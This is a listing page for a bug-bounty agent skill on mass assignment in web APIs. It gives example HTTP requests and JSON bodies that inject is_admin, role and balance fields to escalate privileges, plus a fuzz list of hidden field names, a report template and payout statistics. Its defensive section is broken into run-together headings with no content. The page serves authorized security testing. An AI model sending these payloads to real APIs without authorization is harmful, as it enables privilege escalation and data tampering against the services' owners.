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Mass assignment exploitation

Skill ShulkwiSEC/bb-huge/skills/curated/mass-assignment-exploitation

Exploit Mass Assignment vulnerabilities in APIs and web frameworks to inject unauthorized parameters. This skill details how attackers uncover hidden fields and manipulate JSON or HTTP bodies to elevate privileges or tamper with data logic.From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill mass-assignment-exploitation

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SKILL.md

5.2 KB, ~1.3k tokens by cl100k_base, as published. Nobody here has run it

API Mass Assignment Exploitation

When to Use

  • When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
  • To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Object Inspection

# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>

# Response {
  "id": 123,
  "username": "tester",
  "email": "[email protected]",
  "is_admin": false,
  "balance": 0.00
}

Phase 2: Injecting Hidden Fields in PUT/POST Requests

# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>

{
  "username": "tester2",
  "is_admin": true,
  "balance": 9999.00
}

Phase 3: Bypassing Filters using Payload Variations

// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }

Phase 4: Fuzzing for Hidden Fields

If the response doesn't leak internal field names, fuzz using common patterns.

# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit

Decision Point ๐Ÿ”€

flowchart TD
    A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
    B -->|Yes| C[Re-inject in POST/PUT ]
    B -->|No| D[Fuzz Common Hidden Fields ]
    C --> E[Verify Update/PrivEsc ]

๐Ÿ”ต Blue Team Detection & Defense

  • Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Mass Assignment Exploitation โ€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] โ€” [Brief description]
  [Finding 2]: [Severity] โ€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

๐Ÿ’ฐ Industry Bounty Payout Statistics (2024-2025)

Company/PlatformTotal PaidHighest SingleYear
Google VRP$17.1M$250,000 (CVE-2025-4609 Chrome sandbox escape)2025
Microsoft$16.6M(Not disclosed)2024
Google VRP$11.8M$100,115 (Chrome MiraclePtr Bypass)2024
HackerOne (all programs)$81M$100,050 (crypto firm)2025
Meta/Facebook$2.3Mup to $300K (mobile code execution)2024
Crypto.com (HackerOne)$2M program$2M max2024
1Password (Bugcrowd)$1M max$1M (highest Bugcrowd ever)2024
Samsung$1M max$1M (critical mobile flaws)2025

Key Takeaway: Google alone paid $17.1M in 2025 โ€” a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).

๐Ÿ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.3 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

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